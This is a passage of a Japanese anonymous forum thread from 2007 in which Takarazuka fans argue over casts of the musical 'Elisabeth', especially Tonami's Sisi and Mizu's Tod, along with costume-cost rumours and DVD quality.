211 ：名無しさん＠花束いっぱい。：2007/08/14(火) 20:22:30 ID:pLXJ9WPX

となシシィ、歌う時に「し」が全部「じ」になるのが気になって仕方なかった
わた～じだけは～♪とか
涙～笑い～悲じみ～苦じみ～♪とか

212 ：名無しさん＠花束いっぱい。：2007/08/14(火) 20:49:04 ID:btC2Sgy5

音感　　お花＞＞＞＞となみ
声量　　となみ＞お花
表現力　お花＞＞＞＞となみ

「あー！」って大きい声で歌う勝負ならとなみが勝てるかもしれない。

213 ：名無しさん＠花束いっぱい。：2007/08/14(火) 20:59:38 ID:vsiy8pKn

>>210
エリザベート、
女帝が、一つ勝っているものを忘れているぞ。

鏡の間のお衣装のレースの豪華さ！
噂では、２０００万だたﾖ

エリザは、私はアサコがよかったけど、
あとは横並びだなあ・・・

同じ女帝でも、宙はいけてない･･あくまで自分比。

214 ：名無しさん＠花束いっぱい。：2007/08/14(火) 21:05:34 ID:KiFUoBZl

>>212なぜか一瞬、
お花を水に、となみを(●▽●)にしても成り立つじゃねぇかと思ってしまったorz
上のレスとごっちゃにしたのか・・・？

お花みたいに、歌無理な分、見た目と芝居でカバーできればまだいいんだけど、
どれも中途半端。

215 ：名無しさん＠花束いっぱい。：2007/08/14(火) 21:15:55 ID:5Fe4SerN

ていうか…となみごときを何故お花と並べて語るのか。
フィールドが違う。
しかも今となみは研10、28歳であのレベル。
お花は初演時で研6、23歳。宙再演時でも研8、25歳。
それであそこまで作り上げたお花と、今のとなみの下手ぶり。
学年も年齢も上なとなみがここまで劣っているのに、お花と並べて語るとは厚かましすぎ。

216 ：名無しさん＠花束いっぱい。：2007/08/14(火) 21:17:01 ID:YJv9cdYW

となみ、簡単な歌ならごまかせるけど、
エリザみたいな難易度の高い歌になるとボロが出たね。
あれだけ音程が安定しないのは単純に音痴なんだと思う。

217 ：名無しさん＠花束いっぱい。：2007/08/14(火) 21:40:33 ID:QeKpABn+

>213
2000万ってのは大いなるガセだから。
あのレース、他のシシィのと大して変わらないし。
上質のレースとは質感とかが全然違う。

宝塚の衣装でその値段となると
本物の真珠をふんだんに使うとかでないとありえない。

218 ：名無しさん＠花束いっぱい。：2007/08/14(火) 21:44:40 ID:b4E2Q3AJ

>208
ば、ば、ばれたか～ｽﾝﾏｾﾝｽﾝﾏｾﾝ～

219 ：名無しさん＠花束いっぱい。：2007/08/14(火) 21:57:08 ID:xIElxRuz

最初にお花を持ち出したのは>>205でそ。全体の出来はお花の圧勝だと思うけど、歌はね…。
ずんこと並べて語るなんてもってのほか。さっき宙エリザ見てたけど、
「出てって！あなたには～頼らな～い～」の所、音程ひどすぎだし表情ゾンビみたいだったよ。
お花が素晴らしかったのは入魂の演技とヴィジュアルの美しさ。
決して歌唱力ではない。

あと久しぶりに宙エリザ見て思ったのはワタルの歌が
あれでもマシになったんだってことwルキは聞くに耐えない出来だった…

220 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:00:36 ID:mAKgICqD

となみ歌うまいと思うけど・・・
なんでそこまでとなみにだけ厳しいのかな？

221 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:05:26 ID:btC2Sgy5

>>「出てって！あなたには～頼らな～い～」の所、音程ひどすぎだし表情ゾンビみたいだったよ。
もうミュージカル見ないほうがいいと思う。あなたセンスゼロだわ。

222 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:06:53 ID:nuWYrkt4

>221
それは言いすぎ

223 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:07:30 ID:BeZHOH9m

>220
となみ自身が、毎回不安定だったこともあるけど
それ以外に
１．最初にとなみありきの今回の雪エリザ上演と言われたから。
２．今まで上演した数だけ、観客の耳が肥えてきた（比較対象が各自のベストになってる）から
３．他の娘役ファンのやっかみ
４．歌下手トートファンが、評判イマイチの責任を全部となみに押しつけてる
等が原因かと・・・

224 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:17:16 ID:0uMLVY5Q

となみちゃん完全に役作りの方向性間違ってると思うし、表情のせいで綺麗にも見えないしヒド過ぎる…。

と確かに思ってたけど、楽の映像見たら表情も落ち着いて輝かんばかりの美しさだった。
もうこれもアリかと思えてきたよ。
自分はアサコのシシィが好きだったけど、ビジュアルでうっとりさせてくれるのは、やっぱりとなみちゃんだ。

225 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:18:20 ID:btC2Sgy5

いや、エリザで一番好きなシーンだから譲れないよ。
シシィの寝室の場面は、エリザベートがトートを拒絶して、鏡の間に繋がる意志を示す物語の重要な場面だと思うけど。
あそこをとなみみたいに涼しい顔してさらっと歌うのが正解なのか？
宙エリザではあの場面が一番お花の凄みを感じたんがね私は、人それぞれですね。

226 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:40:15 ID:+OQTcFx3

やっぱりそれなりに歌える人じゃないとトートはつらい。
歌の出来が気になって情感もへったくれもない。

227 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:40:19 ID:xIElxRuz

>>225
あのシーン、私が一番好きなのはみどりシシィ。
高音まで綺麗に伸びて、凛とした表情で。トートとの対峙の仕方も好み。
225さんが最後におっしゃってるように感性は人それぞれなんだから、
自分と違う意見に即センスゼロと言うのは子供っぽすぎやしませんか。

228 ：名無しさん＠花束いっぱい。：2007/08/14(火) 22:45:14 ID:btC2Sgy5

>>227
宙のお花を批判するのにあのシーンを例として持ってくるがセンスがないって私が思うっていうことね。

229 ：名無しさん＠花束いっぱい。：2007/08/14(火) 23:04:29 ID:KiFUoBZl

>>223叩かれた原因の１は、
水の相手役に他の娘役希望してた
(っていうか、演目きくまでとなみがくるとは思ってなかった)人が諦め半分で呟いてたんだよな・・・

で、そこまで言われてて、いざ蓋開けたら、
難役っていうの抜いても酷かったってのが・・・

230 ：名無しさん＠花束いっぱい。：2007/08/14(火) 23:05:06 ID:k0tk0k2M

無理を承知で・・・

この次エリザをやる時は各組選抜メンバーで
日生でロングランとかどうでしょう？

231 ：名無しさん＠花束いっぱい。：2007/08/14(火) 23:05:54 ID:yKm5hdyY

>>226
同意。シシィもね。
まずは歌が出来てから、と思う。

232 ：名無しさん＠花束いっぱい。：2007/08/14(火) 23:05:58 ID:febN7Hno

今回、究極の我侭皇后のお話としか見れなかった。
短いミュージカルで皇后の孤独感を出すのは難しいだろうから
やっぱりゾフィーは徹底的に敵にならなくてはならなかった。
ユミコ皇帝の優しさに同情し、ゾフィーの言い分もわかるぞ～と思ったら
エリザベートに感情移入は出来ない。
子供の教育は任せて欲しいと言いながら、結果はこれかい！と
突っ込み入れたかった。
「私だけに」の場面も自殺を考えるほど、突き落とされたようには見えなかったな。

233 ：名無しさん＠花束いっぱい。：2007/08/14(火) 23:23:39 ID:KiFUoBZl

母性を感じたのはあさこシシィかなぁ。
しかし結局皆ほったらかしにするわけだが(´・ω・`;)

そういやルドルフを中心に見た皇帝一家って、

初雪:子ルドとうこはお花シシィ似？タールド色気は父親譲り？
星:ぶんルド、ほんのりマザコンぽい空気が父親似か
宙:スマートな一家。どっちに似てもスタイルよさ気。
花:どうみても歌うまな親父似です。本当にありが(ry
月:あの肩幅はどうみても母方の血です。本当に(ry

234 ：名無しさん＠花束いっぱい。：2007/08/14(火) 23:29:26 ID:iRLRxUcP

ここで言われるほどとなみちゃんの歌も演技も悪くなかったけど、
個人的には、水さんと二～三作組んでからエリザだったらもっとよかったと思う。
と言いつつ、水さんは今がよかったと思う…
花エリザのオサお披露目＆みどり退団っていうのが、バランス良かったからかなぁ？

235 ：名無しさん＠花束いっぱい。：2007/08/14(火) 23:39:23 ID:3x4b+bnR

お花のエリザベートって人間的にいけすかない感じがして
実は嫌いだったんだ。
本物もそんな女性だったのかもしれないけど
宝塚の舞台でﾘｱﾙにやる必要ないからな。

236 ：名無しさん＠花束いっぱい。：2007/08/14(火) 23:49:59 ID:Wbngb7Ph

結局、となみありきじゃなかったということだけはわかった公演だったな。

237 ：名無しさん＠花束いっぱい。：2007/08/15(水) 00:00:41 ID:UktXm/NU

おいらは水トートに文句は無いだよ。
ただただあすかのｴﾘｻﾞでもう一度観たい！
トートは水で頼む。歌もここまできかせられれば自分は十分だし、
それよりあのこだわりのﾋﾞｼﾞｭｱﾙや動きは水しかだせない色だって思うから。

238 ：名無しさん＠花束いっぱい。：2007/08/15(水) 00:23:06 ID:y3+5tVIR

となみ下手た゛ったな～
あんなに下手なシシィみたくない

239 ：名無しさん＠花束いっぱい。：2007/08/15(水) 00:26:13 ID:mTPy+dru

＞２３５
あー私もハナちゃんのエリザ好きじゃないんだよな・・・
なんか絶賛されてるから言いづらいんだけどさ。

となみちゃんのエリザはなんか可愛くて好き。
少女時代がさぶいぼ立たずに見れた唯一のエリザだった。

240 ：名無しさん＠花束いっぱい。：2007/08/15(水) 00:32:35 ID:gtFhLILd

>>となみちゃんのエリザはなんか可愛くて好き。
>>少女時代がさぶいぼ立たずに見れた唯一のエリザだった。

そーだね。雪が初めて生で見るエリザで凄く感動したんだよね。
素敵な思い出になってよかったね。

241 ：名無しさん＠花束いっぱい。：2007/08/15(水) 00:33:08 ID:lvB8Q9DF

新雪エリザの観劇ブログ等たどってると、観劇日一緒なのに
となみシシィに対する感想がみんなバラバラだったりするよね。
みんな理想のシシィ像を持っているからってのもあるだろうけど
ぶっちゃけ２ｃｈや８のアンチの意見に踊らされてる面も
否定できないと思ったよ。ネットって怖いね。

242 ：名無しさん＠花束いっぱい。：2007/08/15(水) 00:40:30 ID:Z69MU9ni

そうか？
ブログでもとなみに厳しい意見が多かったから、
みんな同じ意見なのかぁて感じたけど。

243 ：名無しさん＠花束いっぱい。：2007/08/15(水) 00:43:35 ID:5qhPIxbF

>>230
無理を承知でレスをｗ
激しく見たいけどチケ争奪戦が恐ろしいわｗ

244 ：名無しさん＠花束いっぱい。：2007/08/15(水) 00:45:32 ID:/na/Rv3F

>218
ハナちゃんのドレス、2000万って本当にガセなの？
以前テレビ(民放の)で今までで出一番お金の掛かった衣装で
紹介されていたけど･･･。
写真まで出て2000万とも言ってたけど･･･。

245 ：２４４：2007/08/15(水) 00:46:53 ID:/na/Rv3F

間違えました･･･>218でなく217です。

246 ：名無しさん＠花束いっぱい。：2007/08/15(水) 01:02:14 ID:VT69wFK/

エゴイストに成らざるをえない程の、自由になりたいという欲求・生命力、
それをやりとげる芯の強さみたいなものが、シシィには必要だと思う。

楽前の土曜に一回観ただけだけど、となみさんからはそれが感じられなかった。だから、ただの我儘娘に見えました。

あくまでも、エリザファンの感想ですが…

247 ：名無しさん＠花束いっぱい。：2007/08/15(水) 01:17:56 ID:OxGYGRaL

はっきり言ってツッコミ所満載な生き方と演出だからこそ、
曲の良さと歌の上手さで観客を引きずりこんで欲しいんだよな。
それが歌の上手さという面倒で達成されないと不満が残る。
私感ですが。

248 ：名無しさん＠花束いっぱい。：2007/08/15(水) 01:24:43 ID:Y+9wZTHA

しかしとなみの少女時代がよかったっていうが、
一番木登りやサーカスごっこができない人だと思うｗ
扇で顔隠しも間に合わなくて、写真撮られまくってそうｗ

ぶっちゃけ踊りはほとんどないから踊れなくても作品的には問題ない。
芯の強さが出せて、歌もそこそこ歌える人がいい。

249 ：名無しさん＠花束いっぱい。：2007/08/15(水) 01:39:12 ID:uECOFYHL

>244
ＴＶなんて、あれほど信用できないものはないんだけど？ｗ
平気でガセをでっちあげて、さも本当のように流すのがＴＶクオリティ。

良い宣伝になるから、劇団が積極的に否定しないだけ。
宝石が縫い込まれてるとか
手作業のビーズ刺繍で埋め尽くされてるとかでないと
そこまでなかなか高いドレスにはならない。
かなりの高級レースでも、2000万円もまず掛からない。
しかも、あのレース、洋裁をする人間なら判るはずだけど、そんなに高級じゃない。
１mあたり1万円もしないよ。
もっと凄いレースは、世の中には実際にあるけどね。

当時有名デザイナーへの外注とか勝手な噂が出たけど
それが本当なら、そんなすばらしい宣伝材料を劇団が表に出さないわけがない。

初演の花總シシィの衣装に結構良い生地を使ってたのは否定しないけど
（バートイシュルのブルーとか、喪服の黒のモワレとか。
　あやかのシシィの衣装よりは、かなり生地が良かった）
それでも１着何千万っていうのはない。

花總はスタイルが良くて、実際より衣装がよく見えるってのはあるけどね。

250 ：名無しさん＠花束いっぱい。：2007/08/15(水) 05:15:15 ID:aFnP8tYr

宙組エリザはDVD映像がひどいんだよなぁ。
ヅカメイクで、あの超アップ連続は、さすがにキツいぞ。お笑いにしか見えん。
アップ＝他の人が見えないから、せっかくのカッコイイ演出が入っている場面も
魅力半減。「カメラ、もっと引いて！」という場所多数。

251 ：名無しさん＠花束いっぱい。：2007/08/15(水) 06:23:55 ID:XupHYNz2

花東京ＤＶＤ、引きの映像が多くないですか・・・？ちょっとorz
そして退団者挨拶、みどりちゃんだけってｗ

252 ：名無しさん＠花束いっぱい。：2007/08/15(水) 08:29:11 ID:Ns2+eO0U

月エリザの最後のダンスの影ソロは誰ですか？

253 ：名無しさん＠花束いっぱい。：2007/08/15(水) 08:56:58 ID:Y+9wZTHA

>>252
さららん。

254 ：名無しさん＠花束いっぱい。：2007/08/15(水) 09:40:20 ID:xLfGqRyg

おハナのエリザはエキセントリックな嫌な女だった。
あとあのキンキン声も苦手だった。

255 ：名無しさん＠花束いっぱい。：2007/08/15(水) 14:40:04 ID:Y1329DFc

エキセントリックでエゴイストで嫌な女、それでこそエリザベート

256 ：名無しさん＠花束いっぱい。：2007/08/15(水) 15:01:15 ID:B/ggXJd6

>255
なんだけど、パワフルさが一番必要かと＞シシィ。
ゲルマン女だし。

花總はか細すぎてパワフルさがなかった。

257 ：名無しさん＠花束いっぱい。：2007/08/15(水) 16:24:01 ID:LCSKM8h8

月エリザのシシィはパワフルすぎたけどな。見た目が。
あさこ、さえちゃんよりも手やら肩幅やらデカいんだもん…

258 ：名無しさん＠花束いっぱい。：2007/08/15(水) 17:06:16 ID:Y+9wZTHA

もうフィナーレは・・・ｗ
さえちゃんとあさこ代わった方がいいんじゃないかとｵﾓﾀｗ

でも一番好きなのは月のフィナーレだ。

259 ：名無しさん＠花束いっぱい。：2007/08/15(水) 18:39:34 ID:pvIZoR0F

日常会話が成り立たない時点でとなみはＯＵＴ！
雑誌は編集してくれるけどトークショーとかで相手と会話のキャッチボールが
出来てないのバレバレだし、コメントがいちいち長い。
演技や歌に関してのコメントはいっちょまえな事を言う割にはぜんぜん追いついて
いない。口だけ番長状態。
おいらのベストオブ「エリザベート」は宙だよ！。

260 ：名無しさん＠花束いっぱい。：2007/08/15(水) 21:33:22 ID:gtFhLILd

みどりはビジュアルがキツイのと、
裏声が変な声なんだよね～。もったいない。
だから私だけにとか最後の肝心ところがビシッと決まらない。

261 ：名無しさん＠花束いっぱい。：2007/08/15(水) 22:34:08 ID:DsvxBCim

私も絶賛されている花總が全然良いと思わなかった。
綺麗なんだけど、エリザをやる上で肝心な生命力のかけらも無かったし、
宮廷のお人形って感じだった。

逆にビジュアル面では、あらら・・・と思ったみどりやあさこの方が感動した。
完全に好みの問題なんだけどね・・・

262 ：名無しさん＠花束いっぱい。：2007/08/15(水) 22:43:01 ID:cYo2a5WV

花組エリザベートが一番好きだなー。
儚げで怪しく歌えるオサトート
ビジュアルがはまり、聞け、強いみどりエリザ
優しい持ち味で、愛を感じる歌えるじゅりフランツ
チンピラで憎めず踊れるあさこルキーニ
歌えて、エリザベートにどことなくにているゆみこルドルフ
とにかく強いオーラむんむんハッチさんゾフィー

花だけは捨てられない。

263 ：名無しさん＠花束いっぱい。：2007/08/15(水) 22:47:26 ID:EpycptDm

>>259
確かに・・となみ、口だけでは偉そうな発言かましてたな。
私なりの新しい解釈で・・とか、私の娘役人生を賭けて・・とか。
あまりに自信満々で偉そうな発言するから、
どんだけ素晴らしいシシィになるかと期待してみたら…これだもんな。
大口叩くビッグマウスぶりに萎えたよ。
となみの評価はどん底まで地に墜ちたな。

264 ：名無しさん＠花束いっぱい。：2007/08/15(水) 22:51:04 ID:U2QYOg+M

>>250
でも、７年たった今でも、グッズ売り上げランキング（新品）で
ずーっと上位に入っているよね～。

265 ：名無しさん＠花束いっぱい。：2007/08/15(水) 23:07:24 ID:Z69MU9ni

みどりの裏声はすかしっ屁みたいで嫌だ。

266 ：名無しさん＠花束いっぱい。：2007/08/15(水) 23:09:07 ID:xyPQ7XgG

>262
ナカーマ！

267 ：名無しさん＠花束いっぱい。：2007/08/15(水) 23:12:23 ID:LvQVB4JK

あやかとみどりのシシィは人格がタフで
フランツと円満な家庭つくりそうで、違うと思った。

268 ：名無しさん＠花束いっぱい。：2007/08/15(水) 23:32:25 ID:Bnre4slD

ハッチさんゾフィーは個人的には5人の中で一番苦手だ

269 ：名無しさん＠花束いっぱい。：2007/08/16(木) 00:28:55 ID:jOQOOnzX

花エリザは演出が・・・
それさえなんとかなってれば、多分一番好きって言い切れたｗ

>>263となみに関しては「ここで言われてるほど酷くなかった」ってよく言われてたが、
あの発言を受けた後じゃね・・・

270 ：名無しさん＠花束いっぱい。：2007/08/16(木) 02:33:00 ID:dlf9o4sW

となみの発言って叩かれるほどのものなの？

271 ：名無しさん＠花束いっぱい。：2007/08/16(木) 04:08:09 ID:yiBOj1D+

花組の演出、例えばどこがそんなにひどいの？
（エリザ初見が花組だった私にはﾜｶﾗﾝ）

272 ：名無しさん＠花束いっぱい。：2007/08/16(木) 04:52:18 ID:T5vX0ZFy

ミズトートが恋に落ちる瞬間の
二度見が溜まらなくツボに嵌った

なんだこの人間くさいトートは・・・w

となみは綺麗だし、他のエリザと比べて五十歩百歩だと
私は思ったな
歌は不安定だけど歌えてないこともない

273 ：名無しさん＠花束いっぱい。：2007/08/16(木) 04:56:44 ID:yo7bONEw

>>270
自分に気合いを入れるための発言を偉そうとか受け取るババアだらけ
なんだからさ、ここは。

274 ：名無しさん＠花束いっぱい。：2007/08/16(木) 06:41:48 ID:guOQrF0p

ミズトートは最初の恋に落ちる瞬間だけ人間くさくなり
その瞬間以外はず～～と人外
魔物みたいなミズトートであり続ける。
そして死は逃げ場ではないで劇的に変貌し
ついに人間と同じ恋する感情を持つに至るのである。

275 ：名無しさん＠花束いっぱい。：2007/08/16(木) 09:34:02 ID:IsQO+REA

>>264
初演雪と星を踏まえての演出や、ずんこのトート像など、初期の宝塚エリザベート
の完成形として評価が高いからね。
それだけに、もっと良い映像で残してくれれば良かったのにと思う。

276 ：名無しさん＠花束いっぱい。：2007/08/16(木) 10:49:26 ID:88+wl3+Y

妖怪系トートはオサの専売特許と思っていたが
ドクトルゼーブルガーの場面の水はまんま妖怪だった。
顔芸がすごい

277 ：名無しさん＠花束いっぱい。：2007/08/16(木) 14:29:20 ID:KsEjuLn9

水トート評判良かったみたいなので楽しみにＤＶＤ観ました。
感想は気持ちわるかったです。

それに、いやに感情むき出しで、人外に見えず、わがままに人間にしか見えない。
エロくみせようと必要以上にくねくね動く手も無駄な動きが多すぎてうるさく感じるし。
もうすこし体温のない人外の雰囲気がほしかった。
歌はそれほど気になりませんでした。
そして、一人で好きになったり怒ったりして、一人で感じてる（一人いきしてる）トート）って
感じかな。

周囲のキャストにすごく助けられてる雪エリザベート（再演）。

278 ：名無しさん＠花束いっぱい。：2007/08/16(木) 15:21:24 ID:wBNsN2LK

体温のある箇所とない箇所のあの創りかたがたまらんのにな～水くんトートよかったで。

279 ：名無しさん＠花束いっぱい。：2007/08/16(木) 15:25:00 ID:KsEjuLn9

ずっと体温ある人トートにしか見えなかった。残念。
黙ってるとただ怒ってるの？としか見えないし。
ここの感想見て期待しすぎたのが駄目だったのかも。
皆さんのように見えるフィルター通して見れたらいいのだけど。
あのトートで満足できる方が羨ましいです。

280 ：名無しさん＠花束いっぱい。：2007/08/16(木) 15:46:49 ID:8gmqZFbC

>279ｻﾏ
人それぞれだから。
せっかくDVDを購入したのにお気に召さなかったようで
お金がもったいなかったですね。

281 ：名無しさん＠花束いっぱい。：2007/08/16(木) 15:57:17 ID:YSm9r/lu

>>279
悪意無さそうだからいうけど、
嫌味っぽいこと書くのはやめたほうが良いよ。
好みなんて本当に人それぞれだから。

282 ：名無しさん＠花束いっぱい。：2007/08/16(木) 16:09:52 ID:KsEjuLn9

嫌味じゃないんだけな。
素直な感想です。

＞270　確かに高い無駄遣いになったと思います。でも買わないとわからないし。
一応全組そろえてるし。

好みは人それぞれは、そう思います。
私にはあわなかった。でも、ここの感想があまりに良いものだったから・・
どなたのファンが多いかにもよるってのがよくわかりました。
失礼しました。

283 ：名無しさん＠花束いっぱい。：2007/08/16(木) 16:35:50 ID:8gmqZFbC

>どなたのファンが多いかにもよるってのがよくわかりました。

嫌味そのものだね。

お買い上げ有難うございました。

284 ：名無しさん＠花束いっぱい。：2007/08/16(木) 16:46:47 ID:SxU97kN0

図星か

285 ：名無しさん＠花束いっぱい。：2007/08/16(木) 17:32:25 ID:SiiE/dpf

277って実生活でも言わなくていい一言を言って
損してるタイプじゃないかな。

「評判良いけど、自分は水トートの良さがわからない
好みじゃなかった」で終わりにすれば良いのに

「あのトートで満足出来る方が羨ましいです」
って物凄い嫌な言い方だよ。

286 ：名無しさん＠花束いっぱい。：2007/08/16(木) 17:35:26 ID:hqZXkC/u

今回の雪の評価を読むと、まんま「愛と死の輪舞」になってない？

凍った心とかす＝冷徹な心ではなくなる
俺の全てが崩れる＝黄泉の帝王じゃない
蒼い血を流す傷口は＝人間っぽい
お前の愛を勝ち得るまで　追いかけよう＝ストーカーっぽい

強引な解釈な感じもあるとは思うけどね。
イケコが最初に描いた「エリザベート～愛と死の輪舞～」は
今回の雪公演が一番近いじゃない？
髪の色、緑なのもイケコの希望だったみたいだし。

287 ：名無しさん＠花束いっぱい。：2007/08/16(木) 17:55:05 ID:GTm6OTyD

>>279
評判がいいってあなた…。どこで？
ずっと読んでれば、どんなに贔屓目にみてもせいぜい五分五分までよ。
参考にするならもっとちゃんと読めばいいのに。
無駄遣い…。

288 ：名無しさん＠花束いっぱい。：2007/08/16(木) 17:57:16 ID:I1FQRWFZ

ああ、そう。
なんだか知らんが、愛と死の輪舞の歌詞を再認識させられたつーか
ピンときたっつーか、そんな感覚があったな。

289 ：sage：2007/08/16(木) 18:55:55 ID:W8zof0ed

現宙でエリザが近々あるとか聞いたんですが、まさかホント！

290 ：名無しさん＠花束いっぱい。：2007/08/16(木) 18:57:09 ID:j3rfBDuj

今回のエリザはイケコが書いたエリザベートの小説をそのまま現実に
表したみたいでおもしろかったよ。昔読んでたコバルト文庫みたいな感じ。

291 ：名無しさん＠花束いっぱい。：2007/08/16(木) 19:58:16 ID:h20/2m0h

じゃあ次は森川久美バージョンのエリザベートを！

292 ：名無しさん＠花束いっぱい。：2007/08/16(木) 23:05:54 ID:s3EijmkL

初演から観てますが、どのエリザにもそれぞれ良い所があるので好きです。
冷静で何でもお見通しな一路トート、色っぽく不気味なまりこトート、
クールに見えて実は繊細なずんこトート、俺様系の自信満々なオサトート、
優しく見守るサエコトート、感情むきだしの水トート・・・。
一つの役でも演じる方によって違うので面白いです。
個人的にはトートは血が通ってないような感じが
好みですが・・黄泉の帝王(死)なので。

勝手な感想を長々とすみません。

293 ：名無しさん＠花束いっぱい。：2007/08/16(木) 23:47:13 ID:6ywLIZIp

黄泉の帝王って最も擬人化された概念だから
血の通わないトートを望むにしては
言ってることが矛盾してるような気もしますが。
黒天使を従え威厳をもってエリザベートに迫る帝王然としたトートは
ヅカの代表的な男役像の延長線上でしょう。
トートがエリザベートに恋する以上無機質なトートってありえないと考えますが。

294 ：名無しさん＠花束いっぱい。：2007/08/17(金) 00:29:30 ID:B71AEADI

ウィーン版や東宝版との違いだよね。
宝塚だからトートとシシィの『愛と死の輪舞』なわけで。
シシィと出会って、黄泉の帝王としてタブーである愛に目覚めてしまう。
この時点からある意味人間的なトートというのが
イケコが描いた宝塚版なんじゃないかな。

295 ：名無しさん＠花束いっぱい。：2007/08/17(金) 00:33:00 ID:veiw8uQy

ウィーン版もかなり血がたぎってたような・・・

296 ：名無しさん＠花束いっぱい。：2007/08/17(金) 00:33:56 ID:BFI5VQXw

293そのとおり・・・だから今回の水トートの仕上げ方はすんごーく忠実。
まさに「愛と死の輪舞」小池先生の脳内トート。
人間臭い感情と人間じゃないからこそ理性やﾌﾟﾗｲﾄﾞ関係なく突き進み
一人の女をおいかけられる。

297 ：名無しさん＠花束いっぱい。：2007/08/17(金) 00:35:46 ID:gz+kJASo

音月のルキーニ、いいね～。もう次のトップきまり。

298 ：名無しさん＠花束いっぱい。：2007/08/17(金) 00:48:29 ID:rFLIjRZ2

いいんだよ！
死神だろうがなんだろうが！
人間好きになっちゃうやつなんだから
あいつは熱い男なんだＹＯ！

299 ：名無しさん＠花束いっぱい。：2007/08/17(金) 00:56:43 ID:8e6djKta

あんなにドラマチックなメロディと歌詞で
歌い上げながら、無機質・クールを貫くなんて無理、無理！
フランツ以外は熱くていいでしょ。

300 ：名無しさん＠花束いっぱい。：2007/08/17(金) 01:12:22 ID:64+vXS6x

水トートの感情むき出しの顔芸を
・人間的と感じる人→人間臭いトート
・妖怪的と感じる人→人外のトート
…と評価が割れるんｼﾞｬﾏｲｶと思えてきた。

私は、水トートは前にもどなたか書いてましたが
過去の閣下に比べて「幼い」印象。思春期の少年みたいというか…
でもいろんなトートがいていいと思う。今回も楽しかった。

301 ：名無しさん＠花束いっぱい。：2007/08/17(金) 02:23:23 ID:gBYHI8W/

となみ、劇場で見ても酷いと思ったが、
修正入れてこれでは…。
力みすぎ、声が上ずってる、音程がぶれまくり。

http://www.youtube.com/watch?v=m8rZ866-87A&mode=related&search=

302 ：名無しさん＠花束いっぱい。：2007/08/17(金) 02:27:25 ID:gBYHI8W/

これも酷い…。

http://www.youtube.com/watch?v=z32tbShvTOQ&mode=related&search=

303 ：名無しさん＠花束いっぱい。：2007/08/17(金) 02:29:47 ID:02yC67K1

敢えてリンクまで貼っちゃうあたりに
アンチ臭を感じる・・・

304 ：名無しさん＠花束いっぱい。：2007/08/17(金) 02:40:27 ID:ooyRv8UL

>>301
間違って、ゆみこの歌に聴き入ってしまったw

となみちゃんは歴代で、そんな歌下手なシシィってわけでもなかったよ。
やっぱ綺麗かったし。
問題は演技だけど、ありゃ解釈の仕方を間違ったんじゃないか、と。
でも、あれで舞台乗ってるんだし、イケコ的にはｵｹｰだったのかなあ。
歌いきったときの「どうよ！あたしすごいでしょ！？」って風情だけは、やめてもらいたかった。

305 ：名無しさん＠花束いっぱい。：2007/08/17(金) 03:30:58 ID:gz+kJASo

となみ、私だけにの前の泣く演技が、手順をこなしてるようにしか見えなくて
余計しらけた。
演技が下手だけならまだしも、歌までひどいって・・
何であんなに滑舌悪いんだよ

306 ：名無しさん＠花束いっぱい。：2007/08/17(金) 04:04:33 ID:Xdo5KBy9

となみが下手すぎて、水が上手に見える

307 ：名無しさん＠花束いっぱい。：2007/08/17(金) 06:09:21 ID:hKR7I2rT

となみが段取りくさい芝居であることに同意。
型芝居っていうか、だからしらけた。
芝居に入り込めないからちっとも共感できなかった。
水トートもはったり芸が鼻についてイライラしたし

水、トナミ、二人とも何か勘違いした役造りで好きになれなかったわ。

308 ：名無しさん＠花束いっぱい。：2007/08/17(金) 07:34:44 ID:LTWXdQ8O

型芝居だからか・・・植田作品だとはまる気がする・・・＜となみ
何気にここ最近の植田作品は花組でやったやつ以外は出てたりするし。

ハリーが前に「芝居は空気」って言ってたが、
やっぱり周りの芝居の空気読めてないんじゃないか？

309 ：名無しさん＠花束いっぱい。：2007/08/17(金) 07:36:12 ID:1dlVSqfB

勘違いした役作りに、はったり芸ってか？
便乗して煽ったつもりだろうけど、浅いっすね（笑）。

310 ：名無しさん＠花束いっぱい。：2007/08/17(金) 10:44:10 ID:EVlle0ht

>(笑)
vvこおばしいなー(･∀･)

311 ：名無しさん＠花束いっぱい。：2007/08/17(金) 10:50:05 ID:iZ2aQPKL

となみちゃん、歌自体は歴代シシィの中でも特別下手って感じない。
が、大げさすぎっていうか力み過ぎって言うか、歌も芝居も怖い。

水はもちろん上手くないけど、これまでの水を予想していくと案外聞けるね。
アサコもそうだったけどエリザベートってどんな歌唱練習させるんだろう。

312 ：名無しさん＠花束いっぱい。：2007/08/17(金) 11:00:07 ID:YvkcomQX

やっとDVD観た。
東京でしか観なかったから、微妙に演出が変わってるところとか
トートがナイフをどこから出してるのか、とか分かって面白かった。
トートってもんのすごーくピュアなんだなーと思った。

花組さんの特典ディスクはなんか妙に皆浮き足立っちゃってるような
感じがして、私にはいまいちでした。

313 ：名無しさん＠花束いっぱい。：2007/08/17(金) 11:27:36 ID:31iX4W0D

煽りなの？
同じよ～に思ったから、正直な感想だと思ったｗ

初日直後の頃は丁寧にやってたから気にならなかったんだけど
東京行ってから、ファンが誉めまくってるのか勘違いな上っ面だけ大仰な芝居。
となみの型芝居とお似合いではあったけど、見てて白けた。

314 ：名無しさん＠花束いっぱい。：2007/08/17(金) 12:40:34 ID:veiw8uQy

感性の問題だね。

315 ：名無しさん＠花束いっぱい。：2007/08/17(金) 13:05:05 ID:cQDZHMRK

うん、感性人それぞれかも。
私は東宝２回しか観劇出来なかったけど、今回の雪エリザ良いと思ったクチ。
DVDは、今日夕方やっと届くんだあ。
楽しみだよ～。

316 ：名無しさん＠花束いっぱい。：2007/08/17(金) 13:25:54 ID:hKR7I2rT

そりゃ感性人それぞれだから、あんなのでも気に入る人はいるだろう。
よかったね。
私は全く認めがたい雪再演でした。
紙芝居みたいにわかりやすいのがいい人には受け入れられやすいと思うけどね。

317 ：名無しさん＠花束いっぱい。：2007/08/17(金) 13:28:23 ID:+ZBe4cCu

トートはやっぱり歌が上手い生徒で演ってほしい
一路真輝　姿月あさと　春野寿美礼　他は下手すぎ

エリザベートは花總まりのしか感動できない

フランツは低音がしっかり歌える高嶺ふぶき意外駄目
歌える彩吹真央でも最後まで青年っぽくて駄目

ルキー二は轟悠に勝さるる生徒はいないが、それなりに皆な無難では？

